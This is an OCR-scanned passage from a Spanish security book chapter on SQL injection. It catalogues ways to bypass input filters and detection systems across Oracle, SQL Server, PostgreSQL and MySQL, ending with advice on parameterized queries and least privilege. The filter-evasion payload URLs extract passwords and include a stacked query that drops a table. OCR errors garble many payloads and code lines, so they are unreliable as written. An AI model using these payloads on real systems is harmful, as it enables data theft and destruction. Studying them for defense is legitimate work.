Un caso similar para un parametro que acepta valores numéricos seria:

http://webserverl/pruebas/buscaUsuarioPorld.php?id=case when =1 then | else -12345 end

... asumiendo que el identificador “~-12345™ no esta asociado a ningun usuario.

Al no anadirse nuevos términos ni operadores a la consulta original, no se altera su estructura
sintactica, evitando asi introducir errores.
4.3.Filtrados... insuficientes

En los puntos anteriores se han mostrado algunos problemas con los que el atacante puede
encontrarse a la hora de poner en practica las técnicas de SQL Injection. Inconvenientes que,

- posiblemente, el programador puso en su camino sin ser consciente de ello.

Pero hay casos en que existe una voluntad de escribir cédigo seguro. Situaciones en las que el
desarrollador es consciente de que su aplicacién puede ser objeto de ataque y decide hacer algo al
respecto.
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Lamentablemente (afortunadamente para algunos), no siempre lo consigue.

A veces, se trata de una actitud reactiva. La aplicacion ya ha sido victima de un ataque o alguien
ha reportado la existencia de una vulnerabilidad. Y posiblemente el programador tenga algunos
ejemplos practicos de las URLs utilizadas para explotarla. Alguien con unos conocimientos
insuficientes sobre la materia, o alguien con demasiadas ocupaciones como para dedicar el tiempo
necesario a corregir un problema como éste posiblemente intente atajarlo realizando un filtrado
bdsico de las entradas proporcionadas por el usuario.

Quizd, simplemente, elimine aquellas palabras clave que cree que son necesarias para explotar la
vulnerabilidad. Palabras como “UNION™, “SELECT” o “WHERE”. Siempre y cuando no sean
imprescindibles para el uso normal de la aplicacion, claro:

$sql = "select * from almacen.usuarios where nombre =" .
str_replace("SELECT", "", strtoupper(S_GET["nombre"])) .

",
il

... de modo que un intento como:

http://webserverl/pruebas/buscausuario.php?nombre=admin’ union select null,version(), null,null

... no logre sus objetivos al resultar en la siguiente consulta que contiene errores de sintaxis:

select * from almacen.usuarios where nombre = 'admin’ UNION NULL,VERSION(),
NULL,NULL --'

Lo cual es una mala idea por, al menos, tres razones.

La primera es que, ante un posible intento de ataque, posiblemente la actitud més prudente es
levantar las defensas y evitar producir salida alguna que el atacante pueda aprovechar. Cuantos
menos datos se le proporcione, mejor. Y en este caso se puede dar lugar a situaciones de error que,
si el servidor web no estd apropiadamente configurado, podrian terminar produciendo mensajes de
aviso que provocarian fugas de informacion innecesarias.

La segunda es que hay diversas técnicas de SQL Injection y no siempre es preciso utilizar la
palabra clave “SELECT™. Si se permite el uso de “INSERT”, “DROP”, “DELETE", etc., el
atacante seguiria siendo teniendo un amplio margen de maniobra,

Pero lo que posiblemente sea mds importante es que el programador podria tener una falsa
sensacion de seguridad cuando, en realidad, sus medidas de proteccion son completamente
inttiles. Bastaria con modificar ligeramente el codigo a inyectar:

http://webserver/pruebas/buscausuario.php?nombre=admin' union seselectlect null,versionﬂ
null,null --

o]
L)
tn
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...donde la palabra “select” ha sido sustituida por “seselectlect” teniendo en cuenta el
comportamiento de la aplicacion.

Nota: Para realizar una prueba exhaustiva, habria que tener también en cuenta la

posibilidad de que el programador haya elegido eliminar ademas el espacio anterior a

la palabra clave, el posterior, 0 ambos.

Esto requerirfa hacer intentos con cosas como “se selectlect”, “seselect lect” o “se
select lect”. Y, por supuesto, lo mismo puede también ser aplicable otras palabras claves o
secuencias de caracteres.

Otra posible proteccion, mas efectiva que la anterior, consistiria en detectar el uso de ciertos
patrones que puedan ser sefiales de un ataque y, en su caso, no realizar ningun acceso a la base de
datos e informar al administrador para que tome las medidas oportunas. De seguirse este enfoque,
debe disefiarse de forma cuidadosa la forma que tomara la salida de la aplicacion ante una entrada
sospechosa. Algunas de las estrategias habituales son:

- Retornar el mismo mensaje que se produciria en caso de no encontrar datos.

- Mostrar un mensaje de error controlado, del tipo “Se ha producido un error. Por favor,
intente repetir la operacion dentro de unos minutos.

- Tratar de disuadir al atacante mediante mensajes como “la operacion que estd tratando de
realizar constituye un delito y ha sido registrada y reportada”.

Pudiera parecer que la tltima es mas efectiva que las anteriores, pero no necesariamente es asi.
Téngase en cuenta que un atacante malicioso puede utilizar herramientas automaticas que no
entiendan estos mensajes, asi como sistemas que le permitan mantener un cierto anonimato.

Sea como sea, los patrones a detectar también deben ser objeto de un detenido estudio. Supéngase
que se veta el uso de espacios. El atacante podria sustituirlos por tabuladores. O por cualquier otro
separador de tokens admitido en SQL. Por ejemplo, comentarios:

http://webserver1/pruebas/buscausuario.php?nombre=admin'/**/and/**/1=1--

Por esta y otras razones, los sistemas de deteccion suelen alertar sobre el uso de comentarios, lo
que obliga a buscar alternativas. Como, por ejemplo, los paréntesis. Aprovechando que no se
requiere que exista un espacio tras unas comillas, podria construirse una URL como:

http://webserver/pruebas/buscausuario.php?nombre=admin‘and(1)=1-- |

Tampoco es necesario el espacio después de un valor numérico en SQL Server, PostgreSQL y
ORACLE (si lo es en MySQL), de modo que en estos gestores de bases de datos serian correctas
construcciones similares a la siguiente (creada en particular para ORACLE):

Select nombre from almacen.productos where
id=2union(select'otra'||chr(32)||'cosa'from(dual))
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En MySQL es necesario insertar algtiin paréntesis adicional:

Select nombre from almacen.productos where
id=(2)union(select(concat('otra',char(32), 'cosa')))

De este modo, es posible reescribir muchas sentencias SQL para que no requieran ningiin espacio
Considérese, por ejemplo, la siguiente en la que se asignan alias tanto a tablas como a columnas:

LSeIect t.nombre v from almacen.productos t

La forma en que se transformara depende del motor de bases de datos utilizado, tal y como se
muestra en la siguiente tabla:

ORACLE Select"t".nombre"v"from(almacen.productos"t")
SQL SERVER Select[t].nombre"v"from[almacen].productos"t"

POSTGRESQL Select"t".nombre"v"from"almacen".productos"t"
MYSQL Select’t".nombre’v' from’almacen’.productos’t’

Pero atin asi, habrd ocasiones en que sea necesario incluir un espacio. Y, a falta de éstos, puede
que valgan algunos caracteres no imprimibles. Como en:

bttp:z’fwebserverlfprucbasfproducto.php‘?id=1 %0Aand%0A 1=1

... donde “%0a” representa el caracter con codigo ASCII 0A (en hexadecimal), el salto de linea.
En general, suelen valer como espacios los caracteres con cddigo ascii en hexadecimal 09, 0A, 0B
(éste no es aceptado por PostgreSQL), 0C y 0D:

‘ http://webserverl/pruebas/producto.php?id=1%0Cand%0C =1

Nota: El comportamiento de una aplicacion puede depender tanto del motor de bases

de datos como de las APIs utilizadas para acceder a ellas, asi como de los entornos de

desarrollo y explotacion. En los ejemplos de este capitulo se ha utilizado una

aplicacion escrita en PHP S funcionando sobre un sistema Linux (Ubuntu 11) con
Apache 2. Los gestores de bases de datos y las librerias utilizadas para acceder a ellas fueron:
ORACLE 11g OCI 8 mediante ADODB (PHP5-adodb)

SQL Server 2008 FreeTDS (http:/iwww.freetds.org) y PHP5-sybase
PostgreSQL PHP5-pgsql
MySQL PHPS-mysql

Algunos motores y entornos son mas permisivos que otros con los caracteres no imprimibles. Asi,
la siguiente URL:
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http://webserver/pruebas/producto.php?id=1%01and%011=1 J
. en la que se intenta usar el caracter con codigo ASCII 1 como separador, funcionaria

correctamente en SQL Server, pero produciria un error de sintaxis en PostgreSQL, MySQL y
ORACLE.

De la mano de un cardcter no imprimible viene también a veces la solucion a otro problema
frecuente. Como se dijo anteriormente, los sistemas de deteccion suelen impedir el uso de
comentarios. Y no s6lo de los delimitados entre */*” y “*/”: también prohiben el uso de “--* 0 “#”
que, segun el motor de bases de datos, inician un comentario que se extiende hasta el final de la
linea,

Pero, dado que muchos de los sistemas implicados estan escritos en lenguajes como C, que utilizan
el cardcter con codigo ascii 0 como terminador de cadenas, puede pensarse en éste como sustituto
de comentarios. Asi ocurre con PostgreSQL o SQL Server:

‘ http://webserver1/pruebas/producto.php?id=1%0cAND(1=1)%00

Con MySQL se produciria un error. ORACLE, por su parte, interpretara el cardcter nulo como un
espacio.

Otro elemento que suele ser vigilado por los mecanismos de deteccion de ataques son las comillas
simples, a las que en ocasiones se considera como imprescindibles para utilizar las técnicas de
SOL Injection, existiendo diversos mecanismos de proteccion que impiden o dificultan su uso.

Algunos de ellos, como las MAGIC_QUOTES de PHP, son proporcionados por el propio entorno
de ejecucion. Para activarlas, se deben modificar las correspondientes entradas del fichero php.ini:

; Magic quotes for incoming GET/POST/Cookie data.
magic gquotes _gpc = On

; Magic gquotes for runtime-generated data, e.g. data from SQL, ;from
exec(), etc.
magic_gquotes_runtime = On

... o del fichero .Ataccess:

php_ flag magic_quotes_gpc On
php_flag magic_gquotes_runtime On

Con ello, el entorno de ejecucion modificara las entradas del usuario, insertando una barra
invertida antes de ciertos caracteres, tales como las comillas simples, las dobles o la propia barra
invertida. Lo cual se supone que los priva de su significado especial y evita que el atacante los use
para salirse de una cadena iniciada por la aplicacion.
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Pero no siempre ocurre asi. Porque si bien en MySQL la barra invertida tiene esa propiedad:

mysgl> select 'a\'';

F=———t
| a' |
=
| a' |
Fm———t

1 row in set (0.00 sec)

... y también ocurre asi en versiones antiguas de PostgreSQL:

postgres=# select version(), 'a\'':
version
| ?column?

PostgreSQL 8.1.19 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.1.2
20061115 (prerelease) (Debian 4.1.1-21) | a'
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SQL SERVER:
select 'a\' ;

al

(1 filas afectadas)

(1 fila)

Lo que si funcionaria en los cuatro gestores de bases de datos seria utilizar dos comillas simples en
lugar de una dentro de una cadena:

SQL> select 'a''' from dual;

‘4

af

... cosa que también puede hacer MAGIC_QUOTES si asi se configura en el fichero php.ini o en
el correspondiente . hizaccess, aunque por defecto esta opcion estd deshabilitada:

... las mds recientes de este motor de bases de datos no lo aceptan de buen grado, lo cual debe
tomarse como un signo de los tiempos por venir, aunque, a pesar de todo, terminan respondiendo
como se podria esperar:

postgres=¢ select version(), 'a\'';
WARNING: uso no estandar de \' en un literal de cadena
LA NEA 1: select version(), 'a\'';
SUGERENCIA: Use '' para escribir comillas en cadenas, o use la sintaxis
de escape de cadenas (E'...'").
version
| Zeolumn?

PostgreSQL 8.4.8 on i6B6-pc-linux-gnu, compiled by GCC gcc-4.5.real
{Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2, 32-bit | a'
(1 fila)

Pero en ORACLE y SQL Server, la barra invertida no impide que una comilla simple termine la
cadena:

5QL> select 'a\' from dual;

‘A

al\\

; Use Sybase-style magic guotes (escape with '' instead of \').

maglc guotes sybase = Off

Para empeorar aun mas las cosas, MAGIC_QUOTES es una caracteristica considerada obsoleta a
partir de la version 5.3.0, desaconsejandose su uso en el propio manual online:

http://php.net/manual/es/security.magicquotes.php

Definitivamente, una aplicacion debe ser segura por si misma, sin depender del entorno en que se
ejecuta. Y si el entorno afiade protecciones adicionales, mejor que mejor. Pero no debe olvidarse
que éste podra cambiar en el futuro. Lo que hace que algunos programadores creen sus propias
funciones para conseguir una funcionalidad parecida a la de MAGIC_QUOTES.

Pero si utilizan una barra invertida para escapar los caracteres de comilla simple, mas vale que no
olviden hacerlo también con la propia barra invertida, no sea que una URL del tipo:

http://webserverl/pruebas/prueba2.php?referencia=a\' ~ union  select  contrasena  from
almacen.usuarios

... termine resultando en una consulta SQL como:

Select nombre from productos where referencia = 'a\l' unidén select contrasefia from
almacen.usuarios

Notese que al no haberse escapado el cardcter de barra invertida introducido por el usuario, hay
dos de éstas antes de la comilla que cierra la cadena. La primera barra quita sus propiedades
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especiales a la segunda que, por tanto, deja sin proteccion a la comilla que le sigue, haciendo
posible la inyeccion de codigo SQL.

Como se indicéd anteriormente, no es buena idea intentar luchar contra las vulnerabilidades
modificando las entradas del usuario. Es mas seguro monitorizarlas en busca de posibles indicios
de ataque y no usarlas si hay algo sospechoso. Por ejemplo: si hay alguna comilla simple en ellas,

Pero se estd partiendo de una premisa equivocada. Ciertamente, si la inyeccion se produce dentro
de un literal de cadena encerrado entre comillas simples, el atacante necesitara inyectar al menos
una de éstas para poder “escaparse” e inyectar su codigo.

Pero si el fallo se da en una entrada de tipo numérico bastara un espacio (o un paréntesis, 0 un
cardcter no imprimible, etc.) para que consiga su objetivo. El problema puede surgirle mas
adelante, si el codigo SQL que se necesita inyectar hace uso de cadenas:

http://webserverl/pruebas/producto.php?id=-1 union select null,contrasena,null,null from
almacen.usuarios where nombre = 'admin'

Pero existen diversas alternativas al uso de comillas. Por ejemplo, PostgreSQL permite utilizar
otros caracteres para delimitar las cadenas, utilizando la llamada notacion doélar: sustituir la
comilla por un cardcter “$” seguido de una etiqueta opcional y otro “$”. La etiqueta debe ser la
misma al inicio y al final de la cadena. Como en:

http://webserverl/pruebas/producto.php?id=-1 union select null,contrasena,null,null  from
almacen.usuarios where nombre = SCOMILLASadmin$COMILLAS$

O también:

http://webserverl/pruebas/producto.php?id=-1 union select null,contrasena.null,null from
almacen.usuarios where nombre = $$admin$$

A estas alturas, mas de un posible atacante estara deseando que los programadores ignoren esta
notacion para las cadenas. Y no sélo porque podrian tenerlo en cuenta a la hora de disefiar sus
sistemas de deteccion de ataques, sino también porque podrian usarlo en su cédigo:

$sql = "select * from almacen.usuarios where id =" .
" SVayaUsted ASaberQueEtiqueta$" .
§_GET["referencia"] .

" $VayaUstedASaberQueEtiqueta$";

Salvo que la aplicacion sea de codigo abierto, el atacante tendria bastante dificil determinar qué
tiene que inyectar para conseguir salir de la cadena.

MySQL, por su parte, permite usar también comillas dobles para delimitar las cadenas:
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http://webserver/pruebas/producto.php?id=-1 union select null,contrasena,null,null  from

almacen.usuarios where nombre = "admin"

... asi como su representacion mediante secuencias de codigos ASCII en binario

http://webserverl/pruebas/producto.php?id=-1 union select null,contrasena,null,null  from

almacen.usuarios where
nombre = 0b0110000101100100011011010110100101101110

... 0 en hexadecimal, lo cual es mucho mas comodo:

http://webserver/pruebas/producto.php?id=-1 union select null.contrasena,null,null from
almacen.usuarios where nombre = 0x61646d696e

Esta misma notacién existe en SQL Server, pero con un significado distinto: se utiliza para
especificar literales de cadena binaria, los cuales pueden ser transformados en una cadena de texto
usando las funciones de conversion de tipo. Ademas, el propio motor hace la conversion de forma
automadtica cuando es necesaria para evaluar una expresion, de modo que el ejemplo anterior
también funcionaria en SQL Server.

Y siempre existe otra solucion que funciona incluso cuando el gestor de bases de datos no admite
una representacion alternativa para los literales de cadena: usar las funciones que convierten un
codigo ASCII en su correspondiente cardcter.

La siguiente tabla muestra algunas notaciones para la cadena 'admin';

GESTOR NOTACIONES

MySQL char(97.100,109,105,110)

PostgreSQL chr(97)||chr(100)||chr(109)||chr(105)([chr(110)
ORACLE chr(97)|[chr(100)||chr(109)||chr(105)|/chr(110)

SQL Server char(97)+char(100)+char(109)+char(105)+char(110)

Recuérdese que el cardcter “+” debe ir codificado en las URLs como “%2b”

Poco a poco, a medida que se van eliminando espacios, insertando paréntesis, codificando cadenas,
etc., el codigo empieza ser poco reconocible, a no parecer SQL. Pero de eso es de lo que se trata:
de no ser detectado como tal.

Cuanto méas dificil sea identificar las inyecciones, mas probabilidades se tendran de pasar los
filtros que se hayan podido implementar. Simplemente, se trata de buscar alternativas mas o menos
extrafias a las sintaxis habituales.
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El siguiente ejemplo estd basado en un caso real. Una web habia sido objeto de un alaque que
aprovechaba una vulnerabilidad de Cross Site Scripting y. para solucionarlo, los
desarrolladores/administradores de la misma decidieron eliminar los caracteres “<” y “>” de lag
entradas del usuario.

Aparte de que, aun asi, la vulnerabilidad podia seguir siendo explotada, esta medida tuvo sus
efectos laterales. Y es que la aplicacion también tenia un problema de SOL Injection que permitia
interactuar con un gestor de bases de datos ORACLE. Una de las pruebas que se realizaron
requeria la comparacion entre dos valores numéricos con objeto de saber si uno era o no mayor
que el otro. Algo como:

select * from tabla where ¢l < ¢2 7

Pero los operadores necesarios para realizar esta comprobacion son, precisamente, “>" y “<”,
Habia que buscar otra solucion. Y una de las posibles era:

select * from tabla where substr(cast((c1-c2) as varchar(1 00)),1,1)=-' I

Bisicamente, se convierte en cadena el resultado de la resta de ambos niimeros y se comprueba si
el resultado comienza por -, lo que delataria un valor negativo v, por tanto, que el minuendo es
menor que el sustraendo.

Si también hubiera estado prohibido el caricter “=", se podria haber recurrido a operador “like”;

| select * from tabla where substr(cast((c1-c2) as varchar(100)),1,1) like '-'

SQL Server, ORACLE y MySQL permiten comparar también valores numéricos mediante like.

En PostgreSQL es necesario aplicarles alguna transformacién. Por ejemplo, en lugar de “1=1"
puede escribirse:
| chr(1) like chr(1) |

Mas ain, si tampoco se pudiera usar “where”, ORACLE, al igual que MySQL acepta también
sustiuirlo por “having™:

select * from tabla having substr(cast((c1-c2) as varchar(100)).1,1) like - _]

Recuérdese que SQL Server y PostgreSQL considerarian que esta instruccion no es correcta y
generarian un mensaje de error.

Otras palabras que habitualmente se encuentran filtradas son los operadores logicos AND y OR,
utilizados tipicamente en ataques de Blind SQL Injection.

En el caso de MySQL, existe una notacion alternativa para ellas:
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OPERADOR NOTACION ALTERNATIVA
AND &&
OR Il
NOT !

En otros gestores de bases de datos hay que recurrir a construcciones alternativas que obtengan un
resultado idéntico o similar al deseado. Asi, en lugar del proverbial:

|hltp:;’a’webserver1fpruebas;’producto‘php'?id=l and 1=1 |

... se puede utilizar:

1hltp:ﬁwebserverl;’pruebasfproducto.php‘?id=case when 1=1 then 1 else -10 end ‘

... siempre y cuando se haya determinado que ningun producto tiene como identificador el valor “-
10” (lo que, por otro lado, es lo mds habitual).

De forma parecida,

‘ http://webserver|/pruebas/producto.php?id=1 and NOT 1=1 ‘

... podria expresarse como:

lhttp:ffwebserverlfpruebasfpmducto.php?id=case when =1 then -10 else 1 end ‘

El operador OR quiza requiera construcciones mas elaboradas. Por ejemplo, si se desea localizar
un producto, sin importar cual, se usaria normalmente algo como:

[http:r’fwcbscrvcrl:’prucbasfpmducto.php?id=] or 1=1 l

Que podria ser sustituido por:

| http://webserverl/pruebas/producto.php?id=(select min(id) from almacen.productos) |

A menudo, los operadores aritméticos pueden reemplazar a los logicos. Si se supiera que ningun
producto tiene un valor de “ID” negativo,

‘ http://webserverl/pruebas/producto.php?id=1 and 1=1 ‘

... proporcionaria el mismo resultado que:

‘http:ﬁwebserverl;’pruebasfproducto.php?idZI*(case when (1=1) then 1 else -1 end) J

... 0 que:
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= |

Este tipo de transformacion es especialmente de aplicacion en aquellos casos en que el atacante
controla los dos operandos del operador légico, como en:

http://webserver1/pruebas/producto.php?id=1 and J

| http://webserver1/pruebas/producto.php?id=1-(case when (1=1) then 0 else -100 end)

(d=1 OR (2=2))

... que podria quedar, utilizando la suma (“+”, codificado en la URL como %2b) para sustituir el
OR:

http://webserver1/pruebas/producto.php?id=1 and
(case when (1=1) then 1 else 0 end) %2b (case when (2=2) then 1 else 0 end)>0

... ¥, yendo un poco més lejos:

http://webserver|/pruebas/producto.php?id=case when
(case when (1=1) then 1 else 0 end) %2b (case when (2=2) then 1 else 0 end)=0
then 1 else -10 end

Las operaciones logicas bit a bit podrian usarse de forma similar. En SQL Server, MySQL y
PostgreSQL sus correspondientes operadores son:
AND BIT A BIT &

OR BIT A BIT |

NOT BIT A BIT En SQL Server:
En PostgreSQL y MySQL: ~ J

Asi, el anterior

http://webserverl/pruebas/producto.php?id=1 and
(case when (1=1) then 1 else 0 end) | (case when (2=2) then 1 else 0 end)=1

... podria transformarse en:

http://webserver1/pruebas/producto.php?id=1 and
(case when (1=1) then | else 0 end) %2b (case when (2=2) then 1 else 0 end)=0

En ORACLE, las comparaciones bit a bit posiblemente no sean de mucha utilidad: si la aplicacion
detecta como sospechosa la palabra “AND”, posiblemente “BITAND” también active las alarmas.

Cuestion de probar...

J
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Para ir acabando con la lista de palabras que suelen utilizarse en la deteccion de ataques e
intrusiones, llega el momento de tratar con los valores nulos. Si las comprobaciones realizadas por
el programa hacen imposible utilizar la palabra “NULL”, el atacante puede tener dos tipos de
problemas.

Por un lado, a veces es conveniente utilizar un valor nulo en el codigo inyectado. Esto puede
conseguirse mediante expresiones que, al evaluarse produzcan NULL, como en los siguientes
ejemplos, que plantean alternativas a:

l select null from dual }

0]

| select null ‘

... dependiendo del sistema gestor de bases de datos empleado:

select (select 1 from dual where 1=2) from dual

select (select 1 where 1=2)

Y, por supuesto, existen muchas otras alternativas. Aqui son utiles aquellas funciones y operadores
que, cuando reciben un parametro vacio o no valido, retornan NULL. En el caso de ORACLE,
pueden utilizarse expresiones matematicas que incluyan una cadena vacia:

SQL> select 1 from dual where 1+'' is null;
1

SQL> select 1 from dual where greatest(l,'',3) is null;
1

MySQL., por su parte, produce NULL en las operaciones de division por cero:

mysgl> select 1 from dual where 1/0 is null;

+———t
1 |
.{.——_+
I 1|
=t

1 row in set (0.01 sec)
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mysgl> select 1 from dual where 1%0 is null;
o

I |

+———t

I 1 |

Fe——t

1 row in set (0.01 sec)

En SQL Server existe una funcion llamada “SERVERPROPERTY™ que proporciona informacion
sobre la instancia de bases de datos actual. Algo parecido a “@(@VERSION™, pero que, segin el
valor que se le pase como pardmetro, proporciona un dato particular. La documentacion de la
misma puede consultarse en: ittp.//msdn.microsoft.com/en-us/library/ms174396.aspx

Cuando se le proporciona un parametro incorrecto, SERVERPROPERTY retorna NULL, como
en:

| select SERVERPROPERTY(0) ]

0

[ select SERVERPROPERTY(") |

Y en PostgreSQL, cuando se intenta extraer de un ARRAY un dato que no existe, se obtiene un
valor NULL. Por ejemplo, si se pide el tercer elemento de un array que sélo tiene dos:

postgres=# select 1 where (ARRAY[1,2])[3] is null;
?column?

Debe sefialarse que, en este caso, los paréntesis son necesarios. Si se omiten, se produciréa un error.

Pero, como se indicé anteriormente, el problema no se limita a especificar valores nulos. Tanto o
mds importante puede ser comprobar si un valor es nulo o no. La forma mas habitual de

determinarlo es utilizando “IS NULL", pero esta construccion no podra ser usada si la palabra
“NULL” estéa vetada.

En su lugar se puede usar, en ORACLE, la funcion “NVL”, que toma dos parametros. Si el
primero no es nulo, se retorna éste. En caso contrario, la funcion devuelve el segundo.

SQL> select * from

2 (select null a, 1 b from dual union
3 select B A 2 from dual) T
4 where nvl{a, 'l1234"')= '1234"';
A B
EEE
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... donde se aprovecha el hecho de que en la columna “A” no se dé el valor ‘1234,

Otra funcién que se puede usar tanto en ORACLE como en MySQL, PosgreSQL o SQL Server es
COALESCE, la cual toma una serie de parametros y retorna el primero que no sea nulo:

mysql> select * from (select null a, 1 b union select 1,2) T where
coalesce(T.a,10)=10;

e ot
| a | b |
fmm———- -t
| WULL | 1 |
Ca e e e &

1 row in set (0.00 sec)

SQL es tan flexible que se podria seguir sustituyendo palabras clave indefinidamente. Hay
ocasiones en que es incluso posible eliminar la palabra “from”, asi como muchas otras que forman
parte sustancial del lenguaje SQL. Por ejemplo, utilizando SQL dindmico a partir de una cadena de
texto expresada en forma hexadecimal o como concatenacion de funciones CHR o CHAR, segiin
el motor de bases de datos. Como en la siguiente URL que funcionaria con SQL Server:

http://webserverl/pruebas/producto.php?id=1;declare ~ @sql  nvarchar(100);declare  @txt
varchar(100);set @txt = 0x64726F70207461626C652064626F2E74657374; set (@sql = @ixt;
exec sp_executesql @sql

La cadena con el cédigo a ejecutar se crea mediante el literal en formato hexadecimal
“0x64726F70207461626C652064626F2E74657374™ que, convertido a texto, resulta ser:

drop table dbo.test

Ya solo quedaria ejecutar esta instruccion. De ello se encarga la invocacion a “sp_executesql™
iTabla borrada!

| 4.4.Mas medidas de seguridad...

Son tantas las posibilidades, tan flexible es SQL, que no se puede confiar en la deteccion de una
serie de patrones para detectar un posible atacante. Aunque se pueda pensar que se ha tenido todo
en cuenta, siempre puede aparecer alguien que, con un conocimiento mds profundo del dialecto
SQL utilizado, puede usar los recursos mas insospechados para conseguir sus objetivos.

Ademas, SQL estd disefiado para parecerse al lenguaje natural, al que hablan las personas. O, al
menos, aquellas que utilizan la lengua inglesa. No es necesario actuar de forma maliciosa para que
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las bulsquedas contengan palabras como “SELECT”, “FROM”, “WHERE", “ORDER”,
“DELETE", etc.

Si se quieren evitar numerosos falsos positivos es preciso utilizar otro enfoque. Hay sistemas que
analizan la estructura del codigo SQL que ejecuta la aplicacion en busca de sintomas, de indicios.

Uno de ellos son las tautologias: expresiones que siempre son ciertas y que son utilizadas con
frecuencia a la hora de determinar si se pueden utilizar técnicas de Blind SQL Injection. Como, por
ejemplo, el tipico “AND 1=1". O expresiones mas complejas, aunque igual de invariables, como:

|35*4-3)[(27+])/ 14-1)=1 ]

Una forma de intentar engafiar a estos sistemas seria utilizar funciones que generan niimeros
aleatorios, como RANDOM() (PotgreSQL), DBMS_RANDOM.VALUE (ORACLE) o RAND()
(SQL Server y MySQL). Todas ellas devuelven un valor comprendido entre 0 y 1, de modo que:

[ 5> (RANDOM() * 5) ]

. serd siempre cierto, aunque quizd algunos sistemas no lo detecten. Y si si lo hacen, las
estadisticas proporcionan otras soluciones. Por ejemplo:

[ (RANDOM() * 10000000) > | |

Existe solo una posibilidad entre diez millones de que esta expresion no sea cierta. Y si las
comprobaciones se hacen dos veces, la cifra se elevaria a cien billones. No es una tautologia, pero
casi.

Pero no se debe caer en el error de preocuparse sélo por la deteccion. Esta, por si sola, no garantiza
la seguridad. Ningin boxeador se contentaria con saber que le viene un golpe. Ademads, tendria
que bloquearlo o esquivarlo. Del mismo modo, a un programador no deberia bastarle con saber si
su aplicacion estd siendo atacada. En su lugar, necesita asegurarse de que los ataques no van a
llegar al motor de bases de datos.

Independientemente de que sean o no detectados.

Y para ello, se debe seguir una estrategia de desconfianza. Actuar como si cada usuario fuera
malicioso y depurar cada entrada a su aplicacion.

En el caso de los valores numéricos, una conversion de tipos puede asegurar que no se introduce
codigo extrafo:

Sa = (int)$_GET["id"];
Ssql = "select * from almacen.usarios where id = $Sa";

Otros tipos de literales hacen obligatorio impedir aquellos caracteres que podrian causar ¢l cierre
de la expresion abierta por el programa. Si se trata de una cadena entre comillas simples, deben
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eliminarse o escaparse de forma efectiva todas las comillas simples introducidas por el usuario. Y
lo mismo seria aplicable a las cadenas entre simbolos de ddlar contempladas por PostgreSQL y
demas construcciones de naturaleza similar.

Algunos entornos proporcionan mecanismos para realizar estas tareas, como la funcién
“mysql_real escape_string()” para aplicaciones en PHP que usan una base de datos MySQL, que
inserta una barra invertida antes de los caracteres nulo, retorno de carro, nueva linea, comilla
simple, comilla doble, SUB (codigo ASCII 26) y barra invertida, Pero no debe olv.idarsc ql}le la
efectividad de estas funciones depende del motor de bases de datos, con lo que el codigo podria no
ser portable o, en caso de serlo, podria no ser efectivo en otros entornos.

Otra caracteristica que ofrecen algunos lenguajes son las consultas parametrizadas, que son
precompiladas y cuya estructura no es modificada por las entradas del usuario. Definitivamente,
cuando estan disponibles, es recomendable usarlas

El siguiente programa esta disefiando para PostgreSQL:

1| <?php

2

3 | include 'header.inc.php’;

4

5| // Si se indico el producto, buscarlo

6 | if (isset($_GET["ref])) {

7 $sql = "select * from almacen.productos where referencia = $1";

8 $sentencia = pg_prepare($conexion, "sentencia”, $sql);

9 $resultado = pg_execute($conexion, "sentencia”, array($_GET['ref"]));
10
11 if (numero_filas($resultado) == 0) {
12 echo "Referencia no encontrada";

13 }else {

14 $fila = fila($resultado, 0);

15 echo "<h3>Datos sobre el producto:</h3>";

16 echo "<table border=1">";

17 echo "<tr><td>Referencia</td><td>Nombre</td><td>Precio</td></tr>";
18 echo "<tr><td>" . $fila["referencia"] .

19 '<ftd><td>' . $fila["nombre"] .
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20 '</td><td>" . $fila["precio"] .
21 '</td></tr>"

22 echo "</table>";

23 }

24|}
25

26 | // Mostar formulario "Buscar"

27 | echo '<h3>Buscar producto</h3>
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28 <form method="GET" action="producto2.php">

29 Buscar: <input type="text" id="ref"' name="ref">

30 <input type="submit" value="Buscar">

31 </form>";

32| 2> |

La clave esta en las lineas 7a 9:

7 $sql = "select * from almacen.productos where referencia = $1"
8 $sentencia = pg_prepare($conexion, "sentencia”, $sq);
9 $resultado = pg_execute($conexion, "sentencia", array($_G ET["ref"]));

Nélf:se como se usa $1 para identificar el valor que ha de ser introducido posteriormente. Si
hubiera un segundo pardmetro, se representaria por $2 y asi sucesivamente. Por otro lado, aun a
pesar de que serd de tipo cadena, al construir la consulta no es necesario introducir las co,mi]IaS
Los tipos son determinados de forma automatica. .

En todo caso, debe tenerse presente que, aunque estos mecanismos pueden ser mucho mas fiables
que fel ,c0d1go escrito por desarrolladores poco experimentados, no son infalibles. Por ejemplo,
consm.crese otro script que espera un valor entero y al que se proporciona uno alfanumérico. Si los
mensajes de error estan activados. ..

http://webserverl/pruebas/producto3.php?ref=version() ‘

-+ aparece un mensaje de error. Como puede observarse, el valor pardmetro GET “id”, “version()”
se introdujo como una cadena, no como una funcién que debe ser evaluada. Pero, evitada la
vuIner;?bilidad ante SQL Injection, sigue existiendo otra: la revelacion de las rutas en qlle se alojan
Ilos scripts PHP. La situacion ha mejorado, y sustancialmente, mas atn quedan muchas cosas por
hacer.

pre 40_“ 'L‘._Z“;;.’*websen..rnl I l i i

Sk r — _—
é‘$ | 22 http://webserverl /prueba

Warning: pg_execute() [function.pg-execute]: Query failed: ERROR: la sintaxis de
entrada no es vA;lida para integer: A«version()A»
in /var/www/pruebas/producto3.php on line 14

Warning: pg_numrows() expects parameter 1 to be resource, boolean given

in /var/www/pruebas/pg.inc.php on line 19
Referencia no encontrada

Buscar producto

Buscar: l Buscar.

T was% v J

Fig 5.11: Error

Y es que no hay recetas méagicas en cuanto respecta a la Seguridad de la Informacion. No importa
lo bien disefiadas que estén, al menos aparentemente, las protecciones: siempre pueden tener sus

fallos. Y siempre habra quien los encuentre.

Lo que es seguro hoy puede no serlo mafana. Por esta razon, aunque se piense que se ha
conseguido hacer imposibles las inyecciones de cédigo, hay que tener en consideracion escenarios
en que éstas se producen.

Ante estas situaciones, la respuesta debe ser... reducir. Reducir las funcionalidades a las minimas
imprescindibles para que la aplicacion funcione correctamente. Reducir los privilegios de la cuenta
de la base de datos para que no pueda realizar nada que la aplicacion no necesite. Reducir los
privilegios de la cuenta del sistema operativo con la que se ejecuta la base de datos. Reducir la
capacidad de la base de datos para interactuar con el sistema operativo. Reducir.

Quiza sea mas incomodo para el desarrollador, pero, a la larga, seguro que le compensara.

4.5.Conclusiones

